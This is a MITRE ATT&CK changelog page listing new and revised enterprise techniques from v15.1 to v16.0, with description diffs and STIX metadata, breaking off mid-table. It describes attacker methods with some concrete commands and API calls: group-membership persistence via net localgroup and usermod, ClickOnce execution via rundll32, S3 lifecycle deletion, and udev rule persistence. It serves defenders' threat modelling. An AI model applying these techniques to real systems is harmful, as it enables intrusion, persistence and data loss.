ATT&CK Changes Between v15.1 and v16.0
Key
- New objects: ATT&CK objects which are only present in the new release.
- Major version changes: ATT&CK objects that have a major version change. (e.g. 1.0 → 2.0)
- Minor version changes: ATT&CK objects that have a minor version change. (e.g. 1.0 → 1.1)
- Other version changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 → 1.2)
- Patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 → 1.0 but something like a typo, a URL, or some metadata was fixed)
- Object revocations: ATT&CK objects which are revoked by a different object.
- Object deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced.
- Object deletions: ATT&CK objects which are no longer found in the STIX data.
| Colors for description field |
|---|
| Added |
| Changed |
| Deleted |
|
Additional formats
These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Techniques
enterprise-attack
New Techniques
[T1098.007] Account Manipulation: Additional Local or Domain Groups
Current version: 1.0
Description: An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.
On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)
For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges.
In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)
[T1496.002] Resource Hijacking: Bandwidth Hijacking
Current version: 1.0
Description: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)
In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)
[T1558.005] Steal or Forge Kerberos Tickets: Ccache Files
Current version: 1.0
Description:
Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials.
The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)
Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
[T1127.002] Trusted Developer Utilities Proxy Execution: ClickOnce
Current version: 1.0
Description: Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)
Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.
ClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)
Adversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)
Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)
[T1496.004] Resource Hijacking: Cloud Service Hijacking
Current version: 1.0
Description: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability.
For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)
In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.
[T1496.001] Resource Hijacking: Compute Hijacking
Current version: 1.0
Description: Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
One common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)
[T1213.004] Data from Information Repositories: Customer Relationship Management Software
Current version: 1.0
Description: Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.
Once adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020)
CRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.
[T1557.004] Adversary-in-the-Middle: Evil Twin
Current version: 1.0
Description: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia ‘Evil Twin’)
By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin) Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin) A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic.
Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin) Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.
Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.
[T1485.001] Data Destruction: Lifecycle-Triggered Deletion
Current version: 1.0
Description: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.
Cloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once.
For example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)
[T1059.011] Command and Scripting Interpreter: Lua
Current version: 1.0
Description: Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State).(Citation: Lua main page)(Citation: Lua state)
Lua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)
[T1036.010] Masquerading: Masquerade Account Name
Current version: 1.0
Description: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)
Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.”(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087).
Note that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names.
[T1213.005] Data from Information Repositories: Messaging Applications
Current version: 1.0
Description: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications:
* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008))
* Source code snippets
* Links to network shares and other internal resources
* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)
* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)
In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)
[T1666] Modify Cloud Resource Hierarchy
Current version: 1.0
Description: Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.
IaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)
Adversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)
In AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)
[T1480.002] Execution Guardrails: Mutual Exclusion
Current version: 1.0
Description: Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)
While local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)
In Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)
Mutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)
[T1027.014] Obfuscated Files or Information: Polymorphic Code
Current version: 1.0
Description: Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone)
Other obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)
[T1071.005] Application Layer Protocol: Publish/Subscribe Protocols
Current version: 1.0
Description: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.
[T1070.010] Indicator Removal: Relocate Malware
Current version: 1.0
Description: Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.
Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)
Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.
[T1496.003] Resource Hijacking: SMS Pumping
Current version: 1.0
Description: Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)
Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)
[T1546.017] Event Triggered Execution: Udev Rules
Current version: 1.0
Description: Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)
Adversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)
Major Version Changes
[T1027.011] Obfuscated Files or Information: Fileless Storage
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may store data in "fileless" formats to conceal | t | Adversaries may store data in "fileless" formats to conceal |
| malicious activity from defenses. Fileless storage can be br | | malicious activity from defenses. Fileless storage can be br |
| oadly defined as any format other than a file. Common exampl | | oadly defined as any format other than a file. Common exampl |
| es of non-volatile fileless storage include the Windows Regi | | es of non-volatile fileless storage in Windows systems inclu |
| stry, event logs, or WMI repository.(Citation: Microsoft Fil | | de the Windows Registry, event logs, or WMI repository.(Cita |
| eless)(Citation: SecureList Fileless) Similar to fileless i | | tion: Microsoft Fileless)(Citation: SecureList Fileless) In |
| n-memory behaviors such as [Reflective Code Loading](https:/ | | Linux systems, shared memory directories such as `/dev/shm`, |
| /attack.mitre.org/techniques/T1620) and [Process Injection]( | | `/run/shm`, `/var/run`, and `/var/lock` may also be conside |
| https://attack.mitre.org/techniques/T1055), fileless data st | | red fileless storage, as files written to these directories |
| orage may remain undetected by anti-virus and other endpoint | | are mapped directly to RAM and not stored on the disk.(Citat |
| security tools that can only access specific file formats f | | ion: Elastic Binary Executed from Shared Memory Directory)(C |
| rom disk storage. Adversaries may use fileless storage to c | | itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma |
| onceal various types of stored data, including payloads/shel | | lware 2024) Similar to fileless in-memory behaviors such as |
| lcode (potentially being used as part of [Persistence](https | | [Reflective Code Loading](https://attack.mitre.org/techniqu |
| ://attack.mitre.org/tactics/TA0003)) and collected data not | | es/T1620) and [Process Injection](https://attack.mitre.org/t |
| yet exfiltrated from the victim (e.g., [Local Data Staging]( | | echniques/T1055), fileless data storage may remain undetecte |
| https://attack.mitre.org/techniques/T1074/001)). Adversaries | | d by anti-virus and other endpoint security tools that can o |
| also often encrypt, encode, splice, or otherwise obfuscate | | nly access specific file formats from disk storage. Leveragi |
| this fileless data when stored. Some forms of fileless stor | | ng fileless storage may also allow adversaries to bypass the |
| age activity may indirectly create artifacts in the file sys | | protections offered by read-only file systems in Linux.(Cit |
| tem, but in central and otherwise difficult to inspect forma | | ation: Sysdig Fileless Malware 23022) Adversaries may use f |
| ts such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Reposi | | ileless storage to conceal various types of stored data, inc |
| tory`) or Registry (e.g., `%SystemRoot%\System32\Config`) ph | | luding payloads/shellcode (potentially being used as part of |
| ysical files.(Citation: Microsoft Fileless) | | [Persistence](https://attack.mitre.org/tactics/TA0003)) and |
| | | collected data not yet exfiltrated from the victim (e.g., [ |
| | | Local Data Staging](https://attack.mitre.org/techniques/T107 |
| | | 4/001)). Adversaries also often encrypt, encode, splice, or |
| | | otherwise obfuscate this fileless data when stored. Some fo |
| | | rms of fileless storage activity may indirectly create artif |
| | | acts in the file system, but in central and otherwise diffic |
| | | ult to inspect formats such as the WMI (e.g., `%SystemRoot%\ |
| | | System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\ |
| | | System32\Config`) physical files.(Citation: Microsoft Filele |
| | | ss) |
New Detections:
- DS0009: Process (Process Creation)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-05-04 18:06:40.829000+00:00 | 2024-10-04 15:05:25.388000+00:00 |
| description | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)
Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.
Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.
Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)
Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)
Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.
Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Aquasec Muhstik Malware 2024', 'description': ' Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.', 'url': 'https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/'} |
| external_references | | {'source_name': 'Elastic Binary Executed from Shared Memory Directory', 'description': 'Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.', 'url': 'https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html'} |
| external_references | | {'source_name': 'Sysdig Fileless Malware 23022', 'description': 'Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.', 'url': 'https://sysdig.com/blog/containers-read-only-fileless-malware/'} |
| external_references | | {'source_name': 'Akami Frog4Shell 2024', 'description': 'Ori David. (2024, February 1). Frog4Shell — FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.', 'url': 'https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell'} |
| x_mitre_contributors | | Vito Alfano, Group-IB |
| x_mitre_data_sources | | Process: Process Creation |
| x_mitre_platforms | | Linux |
[T1578.005] Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may modify settings that directly affect the siz | t | Adversaries may modify settings that directly affect the siz |
| e, locations, and resources available to cloud compute infra | | e, locations, and resources available to cloud compute infra |
| structure in order to evade defenses. These settings may inc | | structure in order to evade defenses. These settings may inc |
| lude service quotas, subscription associations, tenant-wide | | lude service quotas, subscription associations, tenant-wide |
| policies, or other configurations that impact available comp | | policies, or other configurations that impact available comp |
| ute. Such modifications may allow adversaries to abuse the v | | ute. Such modifications may allow adversaries to abuse the v |
| ictim’s compute resources to achieve their goals, potentiall | | ictim’s compute resources to achieve their goals, potentiall |
| y without affecting the execution of running instances and/o | | y without affecting the execution of running instances and/o |
| r revealing their activities to the victim. For example, cl | | r revealing their activities to the victim. For example, cl |
| oud providers often limit customer usage of compute resource | | oud providers often limit customer usage of compute resource |
| s via quotas. Customers may request adjustments to these quo | | s via quotas. Customers may request adjustments to these quo |
| tas to support increased computing needs, though these adjus | | tas to support increased computing needs, though these adjus |
| tments may require approval from the cloud provider. Adversa | | tments may require approval from the cloud provider. Adversa |
| ries who compromise a cloud environment may similarly reques | | ries who compromise a cloud environment may similarly reques |
| t quota adjustments in order to support their activities, su | | t quota adjustments in order to support their activities, su |
| ch as enabling additional [Resource Hijacking](https://attac | | ch as enabling additional [Resource Hijacking](https://attac |
| k.mitre.org/techniques/T1496) without raising suspicion by u | | k.mitre.org/techniques/T1496) without raising suspicion by u |
| sing up a victim’s entire quota.(Citation: Microsoft Cryptoj | | sing up a victim’s entire quota.(Citation: Microsoft Cryptoj |
| acking 2023) Adversaries may also increase allowed resource | | acking 2023) Adversaries may also increase allowed resource |
| usage by modifying any tenant-wide policies that limit the s | | usage by modifying any tenant-wide policies that limit the s |
| izes of deployed virtual machines.(Citation: Microsoft Azure | | izes of deployed virtual machines.(Citation: Microsoft Azure |
| Policy) Adversaries may also modify settings that affect w | | Policy) Adversaries may also modify settings that affect w |
| here cloud resources can be deployed, such as enabling [Unus | | here cloud resources can be deployed, such as enabling [Unus |
| ed/Unsupported Cloud Regions](https://attack.mitre.org/techn | | ed/Unsupported Cloud Regions](https://attack.mitre.org/techn |
| iques/T1535). In Azure environments, an adversary who has ga | | iques/T1535). |
| ined access to a Global Administrator account may create new | | |
| subscriptions in which to deploy resources, or engage in su | | |
| bscription hijacking by transferring an existing pay-as-you- | | |
| go subscription from a victim tenant to an adversary-control | | |
| led tenant.(Citation: Microsoft Peach Sandstorm 2023) This w | | |
| ill allow the adversary to use the victim’s compute resource | | |
| s without generating logs on the victim tenant.(Citation: Mi | | |
| crosoft Azure Policy) (Citation: Microsoft Subscription Hija | | |
| cking 2022) | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-02 22:17:54.968000+00:00 | 2024-09-25 14:15:26.322000+00:00 |
| description | Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.
